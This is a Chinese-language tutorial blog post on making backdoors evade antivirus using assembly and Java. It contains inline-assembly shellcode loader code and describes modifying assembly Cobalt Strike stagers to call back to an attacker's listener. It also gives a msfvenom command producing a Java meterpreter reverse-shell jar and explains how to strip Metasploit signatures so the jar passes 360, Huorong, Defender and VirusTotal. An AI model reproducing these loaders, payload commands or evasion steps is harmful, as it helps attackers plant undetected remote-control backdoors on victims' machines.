前言
今天讲最后的两个语言java和汇编,那么基本所有语言就讲了一个遍了。java在后门免杀这一块呢其实是有点鸡肋的,其它语言编译成的是exe,而java编译成的是jar包,而jar包又得有java环境才能运行,不像exe是个电脑都行。虽说jar包可以转变成exe,但是过程相当麻烦,而且实际利用不太现实,这是因为java的语言特性决定的。汇编相对java来说好一点,但是汇编太底层了,而且网上关于汇编的资料比较少,你想系统学习的难度是比较大的,我只是仅仅懂一点点,所以介绍汇编的时候不会讲太多汇编的知识,基本都是拿别人的源码来用。
实验环境
360,火绒,WD,VT。
内联C混编
这个前面我们讲C++的时候是有讲过一点的,其实就是C和汇编的混合使用。比如说下面这个,就是一个典型的用C调用汇编代码来加载shellcode,当然这个没啥用,直接被杀掉了。
int main() {
__asm {
lea eax, buf
call eax
}
}
今天就讲一个更为复杂一点的混编,可以看到加载方式明显不一样了,其实就是把上面的功能用更多的代码来取代。
int main() {
LPVOID lp = GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
size_t dw_size = sizeof(buf);
void* exec = NULL;
__asm
{
push 0x40; //可读可写可执行页参数入栈
push 0x1000; //MEM_COMMIT参数值入栈
mov eax, dw_size; //定义空间大小
push eax; //将空间大小入栈
push 0; //由系统自行决定内存空间起始地址入栈
mov eax, lp; //移动到virtualAlloc函数地址
call eax; //运行该函数
mov exec, eax;//调用地址
}
LPVOID op = GetProcAddress(LoadLibraryA("kernel32.dll"), "RtlMoveMemory");
__asm
{
mov eax, dw_size;
push eax;
lea eax, buf;
push eax;
mov ecx, exec;
push ecx;
mov eax, op;
call eax;
}
__asm
{
jmp exec;
}
return 0;
}
直接测试一下效果吧,火绒被查杀了。
WD又查杀到了。
360也查杀到了。
说明效果还是不行,还得写,不过呢今天的重点也不是这个。
汇编调用CS
我们可以先看一篇大佬的文章,虽然是两年前的文章了,但我们可以学习其中的思路。
奇安信攻防社区-编译汇编代码实现免杀 (butian.net)
正常来说的我们shellcode上线的流程是,生成shellcode—>语言加载运行shellcode—>编译exe运行上线。但是这篇文章的思路呢就是直接跳过了第一步,也就是我不生成shellcode,我已经提前分析好CS上线的原理,然后用汇编代码编写,利用CS的上线原理将shellcode上线。举个例子,国家发行货币—>你有了货币—>使用货币购买东西,但是现在我不需要国家发行货币了,因为我自己知道货币制作的原理和工艺,那么我自己根据原理和工艺去把普通的纸弄成货币去买东西。
从文章可以看到代码全是汇编编写的,要想完全搞懂代码的意思是很难的,要求你有扎实的汇编基础,我们只需知道怎么利用代码即可。
我们关注一下这个代码,从注释中我们可以知道这是IP地址解密,从代码中可以知道是把func5_param这个变量压入栈中。
我们找一下func5_param这个变量,这一串估计就是汇编编写的IP地址了。
这应该是加密过的,因为下面有解密的操作,所以直接转10进制是不行的。我们可以把它编译成exe,然后运行起来看它的进程连接情况,文章说使用masm32这个ida进行编译,在masm32/bin目录下执行文章给的命令即可。
ml /c /coff /Cp 1.asm #编译为obj文件
link /subsystem:windows 1.obj #生成exe文件
第一条命令执行后会生成一个1.obj文件。
执行第二条命令生成exe。
我们现在直接运行1.exe来查看它一个连接情况,我们可以看到它是连接到了10.130.4.204的82端口。
结合刚刚汇编代码看到的加密之后的IP,我们不妨大胆猜想一下规律。
利用我们发现的规律,对IP192.168.80.134进行加密然后替换源代码的IP,并且在192,168,80,128主机进行监听82端口,看看是否有连接,记得末尾加00h。
可以看到是成功连接到的了,只不过我这里显示的是计算机名DESKTOP—7FMQMK6而已.
现在IP的问题解决了,再来看看端口的代码,关注这个push语句,把52h这个值压入栈,而且注释也说了是端口,52从16进制转为10进制就是82,和我们刚刚的连接端口对得上。
那么现在把IP改为CS监听的地址,端口改为监听端口不就可以实现上线CS了吗。
还有一点要注意,这里的协议走的是HTTP,我们监听器也要选择http,或者改一下源码。
编译成exe执行,成功上线CS。
测试一下免杀性,WD过不了
火绒静态查杀能过,也可运行上线,但是只要执行命令有交互行为就被查杀了。
360能查杀到。
其实汇编的免杀效果是最好的,因为它是个底层的语言,而且这里源码并没有存在shellcode和加载器,它是分析了CS的上线原理,然后用纯汇编编写的一个代码。至于为啥这里的免杀效果不好,那是因为这是两年前的文章了,现在都2024年了,黄花菜都凉啦。只不过我们可以学习这个思路,然后自己用汇编编写,但是恕我无能为力了,汇编真滴太难了。
Java
说实话这个其实没啥太大的作用,因为Java是个开发语言,打包成的是jar包不是exe。
原生态
先试试原生态的,这里我用MSF生成的jar文件,因为CS生成的是shellcode,不支持生成jar。
msfvenom -p java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f jar -o msf.jar
输入命令直接上线,免杀性不用说,三个都杀了。
java -jar msf.jar
那么现在就是两种情况,一种是对方有Java环境,那么我们就直接上传jar包,如果对方没有Java环境那么我们就把jar包再次打包成exe。所以就有两个思路,一是直接对jar包免杀,二是对打包成的exe进行免杀。
MSF特征源码修改
我们利用jd-gui这个工具对我们的jar包进行反编译,这个是专门反编译class文件的,也可以利用IDA。
反编译后保存,我们来分析一下源码。
可以看到metasploit.dat文件里面保存的是我们的监听端口和监听地址。
MANIFEST.MF文件里面应该是配置文件,版本是1.0,Main-Class呢就是主函数入库指向metasploit.Payload,权限是所有权限,名字是metasploit.dat,指向metasploit/Payload.class。
再看payload.java这个文件,有个main函数,jar包运行就进入里面执行代码。被杀的原因就是无论你咋生成,它反编译后的源码都是一个套路的,所以我们要去改掉它的源码特征。
首先改文件名字,metasploit这个名字傻子都能看出来不是啥好玩意,我们把里面的payload.java这个文件拖出来改为Main.java,把metasploit这个文件夹去掉,metasploit.dat里面的内容去掉,改为config。
MANIFEST.MF配置文件修改如下,test应该是config的,我懒得再截图了。
接下来就是test2.java的源码修改,就是把一些可有可无的代码删除,还有一些文件名替换为我们刚刚修改的文件名。
我们可以看这一部分代码,new Socket新建了一个socket隧道,IP为str4,端口为j。
我们追踪一下 str4 和 j 这两个参数,可以看到它们的值都是从properties 对象中通过getProperty方法获取的。
继续追踪一下properties这个对象,可以看到properties的值是从inputStream中读取的,而inputStream的值是读取了metasploit.dat文件,这个文件里面的内容就是IP和端口。
由于这涉及了Java方面的开发知识,再加上我不是很懂Java,所以我就直接用别人替换好的源码了,直接修改IP和端口就能用了。
值得注意的是Integer(string)这个函数已经被Java标记为过时了,2022年还可以用,现在随着JDK版本越来越高,已经用不了了,要改为这样写法。
int j = Integer.parseInt("6688");
输入命令封装成class文件,只有class文件才能打包成jar。
javac Main.java
接下来是编译成jar包,在编译成jar包的时候,报了个错,大概的意思是我打包成class文件的环境是java22,但是运行环境只支持java8,然后又更新了java环境,所以就有点麻烦。
jar cvfm wlw.jar META-INF/MANIFEST.MF .
运行起来能接收到,但是不知道为啥会话马上就结束了,我又测试了一下原生态上线也不行,说明不是我们生成的jar包的问题,奇怪明明昨天还行的。
免杀效果还是可以的,360、火绒、WD均没有查杀出来,VT居然没有报。
jar打包成exe
说实话这个其实不太现实,而且很麻烦,用到exe4j和innosetup-6.2.1这两个工具,可以看一下下面博客的文章,说实话,里面有教程,自己照着打包就行,因为是在麻烦且鸡肋我就不搞了。
链接:Java jar打包成exe应用程序的详细步骤_java_脚本之家
总结
基本常见的语言都讲了一遍了,其中提到的技术无论是哪种语言都是通用的,只要你可以把它写得出来。不难看出修改源码特征的免杀效果是比较好的,还有就是不公开或者自己写的shellcode加密脚本,总之无论是对shellcode修改还是加载器,亦或是源码的修改,最终的目的都只是去除后门的特征,逃过杀软。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。